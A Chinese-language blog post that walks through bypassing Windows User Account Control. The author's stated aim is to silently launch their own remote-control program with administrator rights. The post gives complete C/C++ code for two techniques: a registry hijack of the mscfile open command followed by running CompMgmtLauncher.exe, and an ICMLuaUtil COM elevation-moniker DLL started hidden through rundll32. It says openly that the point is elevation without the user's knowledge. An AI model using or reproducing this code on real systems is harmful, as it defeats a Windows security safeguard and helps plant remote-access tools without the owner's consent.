加载中...
返回

提权技术--绕过UAC

最近整理以前的项目,尝试在一个程序上实现进程隐藏和自动提权,结果进程隐藏花了很多时间,没得到一个理想的结果,自动提权倒是参考了几位大佬的文章做出来了。

话不多说,总结本次的提权办法——绕过UAC。

1 UAC

UAC(User Account Control)是Windows系统中的一项安全机制,它可以保证应用程序以非管理员的权限运行。UAC使得所有用户以标准用户权限登录,他们打开的进程(程序)也将以标准权限运行,一款良好的程序应该遵守这一安全规则。

然而,有些程序如历史遗留的程序,在当年设计阶段并没有很好地考虑到安全问题,它们通常会请求标准权限之外的权限,否则无法正常工作;此外,有些行为如下载应用、修改防火墙设置等都需要标准权限以外的权限来完成。

当一款应用需要请求标准权限以外的权限时,UAC会将此行为告知用户,这样使得用户对自己电脑上的任何提权行为了如指掌。

如果你是管理员用户,你可以在任意的程序上右键,选择“以管理员身份运行”,就能看到UAC的弹窗。

不难理解,通过这样的手段,可以有效地阻止恶意程序在电脑上的破坏行为,或者防止用户对某些系统设置的误更改。

2 绕过UAC

根据参考文章[1]所述, 触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo 的 RAiLuanchAdminProcess函数。流程如下:

  • 该函数首选验证路径是否在白名单中
  • 接着将结果传递给consent.exe进程
  • 该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认
  • UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用CreateProcessAsUser函数以管理员身份启动请求的进程。

对于一些恶意程序而言,总是希望在用户不知情的情况下以管理员权限运行,这就需要我们绕过UAC弹窗。目前绕过UAC有两种思路:基于白名单和基于COM组件接口。


2.1 基于白名单的Bypass UAC

有些系统程序可以直接获取管理员权限,而不触发UAC弹框,这类程序称为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。

针对这些程序,可以使用DLL注入或修改注册表执行命令等方式启动目标程序,由于子进程默认继承父进程的权限,被这些白名单程序所打开的进程也就具备管理员权限了。

我事先准备了一个远程控制程序RemoteCtrl_Win10.exe,可以基于白名单机制,利用如下的代码尝试启动它:

#include <Windows.h>

BOOL SetReg(char* lpszExePath)
{
    HKEY hKey = NULL;
 
    // 创建项
    ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

    // 设置键值
    ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));

    // 关闭注册表
    ::RegCloseKey(hKey);

    return TRUE;
}

int main()
{
    BOOL bRet = FALSE;
    PVOID OldValue = NULL;

    // 关闭文件重定位
    ::Wow64DisableWow64FsRedirection(&OldValue);

    // 修改注册表,设置我们的程序为启动目标
    bRet = SetReg("F:\\RemoteCtrl_Win10.exe");

    // 运行 CompMgmtLauncher.exe
    system("CompMgmtLauncher.exe");

    printf("Run OK!\n");

    // 恢复文件重定位
    ::Wow64RevertWow64FsRedirection(OldValue);
    
    return 0;
}

然而,修改注册表的提权方式过于简陋,会被WinDefender拦截下来。

运行的结果也就不放了。程序会直接被杀死(Defender甚至把我的目标exe给删了)。


2.2 基于COM组件接口的Bypass UAC

我对于COM的理解实际上不够清晰和深入,有兴趣的可以去看看参考文章[1~3]。

从我的理解来看,COM(Component Object Model,组件对象模型)是一种更加严格的面向对象编程规范,遵守这一规范的二进制程序需要提供标准的接口来供其他程序调用。这种程序以“组件”的方式存在,可以被复用,故节省了内存;而且,由于这些组件独立存在,对它们本身做出的改动不会影响使用者的程序结构,方便了它们的功能升级。

COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活COM类,最终提升COM接口权限。简单地说,就是主调程序以COM的规范实例化一个具有管理员权限的组件,这样这个组件的功能函数就能运行在管理员权限下。此外,COM规定了一个ICMLuaUtil接口,其下有一个ShellExcute方法,能够启动任意的程序。

文章[1]还指出,如果执行COM提升名称代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。

我们仅仅希望以管理员权限启动我们的远控程序,则直接制作一个DLL交给rundll32.exe运行即可。按照上面的思路,我们的DLL应该先实例化一个管理员权限的COM组件,这个提权后的组件调用ShellExcute来启动远控程序。

DLL项目的代码如下:

// File: CBypassUAC.h
#pragma once
#ifndef BYPASS_UAC_H
#define BYPASS_UAC_H



#include "windows.h"
#include <objbase.h>
#include <strsafe.h>

#define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"

typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {
BEGIN_INTERFACE

  HRESULT(STDMETHODCALLTYPE* QueryInterface)(
      __RPC__in ICMLuaUtil* This,
      __RPC__in REFIID riid,
      _COM_Outptr_  void** ppvObject);

ULONG(STDMETHODCALLTYPE* AddRef)(
  __RPC__in ICMLuaUtil* This);

ULONG(STDMETHODCALLTYPE* Release)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method1)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method2)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method3)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method4)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method5)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method6)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* ShellExec)(
  __RPC__in ICMLuaUtil* This,
  _In_     LPCWSTR lpFile,
  _In_opt_  LPCTSTR lpParameters,
  _In_opt_  LPCTSTR lpDirectory,
  _In_      ULONG fMask,
  _In_      ULONG nShow
  );

HRESULT(STDMETHODCALLTYPE* SetRegistryStringValue)(
  __RPC__in ICMLuaUtil* This,
  _In_      HKEY hKey,
  _In_opt_  LPCTSTR lpSubKey,
  _In_opt_  LPCTSTR lpValueName,
  _In_      LPCTSTR lpValueString
  );

HRESULT(STDMETHODCALLTYPE* Method9)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method10)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method11)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method12)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method13)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method14)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method15)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method16)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method17)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method18)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method19)(
  __RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method20)(
  __RPC__in ICMLuaUtil* This);
END_INTERFACE
} *PICMLuaUtilVtbl;

interface ICMLuaUtil
{
CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;
};

extern "C" __declspec(dllexport) void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow);

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid);

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable);

#endif

// File: CBypassUAC.c
#include "pch.h"
#include "CBypassUAC.h"

// COM提升名称,以管理员权限实例化一个组件
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;

// 初始化COM环境
::CoInitialize(NULL);

// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) /
  sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
  return hr;
}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil* CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
  ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
  ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

  // 提权
  hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
  if (FAILED(hr))
  {
      break;
  }

  // 启动程序
  hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
  if (FAILED(hr))
  {
      break;
  }
  bRet = TRUE;
} while (FALSE);

// 释放
if (CMLuaUtil)
{
  CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}


void  CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
{
CMLuaUtilBypassUAC((LPWSTR)L"F:\\RemoteCtrl_Win10.exe");
}

这里需要注意,我们要在头文件中将目标函数BypassUAC导出,否则rundll32.exe程序无法正确获取这个函数。具体方法就是在函数声明时加上extern "C" __declspec(dllexport)前缀。

对于DLL项目中的dllmain.cpp文件,保持默认即可。编译此程序,生成一个DLL。现在我们还需要编写一个程序用来调用rundll32.exe,使其执行链接库中的BypassUAC函数。

新建一个Launcher项目,只有一个源文件:

// File: Launcher.cpp
#include <Windows.h>
#include <iostream>

using namespace std;

int main()
{
//调用rundll32.exe去执行RemoteThreadDll.dll的导出函数 达到BypassUAC
char szCmdLine[MAX_PATH] = { 0 };
char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";

//获取当前程序所在路径
char pszFileName[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, pszFileName, MAX_PATH);
//获取当前程序所在目录
(strrchr(pszFileName, '\\'))[0] = 0;
//拼接要注入dll路径
char pszDllName[MAX_PATH] = { 0 };
sprintf_s(pszDllName, "%s\\%s", pszFileName, "BypassUAC.dll");
sprintf_s(szCmdLine, "%s %s %s", szRundll32Path, pszDllName, "BypassUAC");
WinExec(szCmdLine, SW_HIDE);
}

运行此Launcher,将以管理员权限打开我们的远控程序。

而没有提权时我们的程序无法执行这个指令。

参考文章

[1] 酷扯儿.Windows编程技术:提权技术(下)[EB/OL].2020-09-22

https://baijiahao.baidu.com/s?id=1678518589760092233&wfr=spider&for=pc

[2] FDCFDMin.COM(Componet Object Model_组件对象模型)技术概述[EB/OL].2018-09-17

https://blog.csdn.net/weixin_39743893/article/details/82500563

[3] Microsoft.COM Technical Overview[EB/OL].2018-05-31

https://docs.microsoft.com/zh-cn/windows/win32/com/com-technical-overview

[4] 自己的小白.基于COM组件接口ICMLuaUtil的Bypass UAC[EB/OL].2020-04-24

https://www.cnblogs.com/ndyxb/p/12770289.html

本文中使用的远控程序

https://github.com/SGS4ever/RemoteCtrl

有朋自远方来,不亦说乎?
Built with Hugo
Theme Stack designed by Jimmy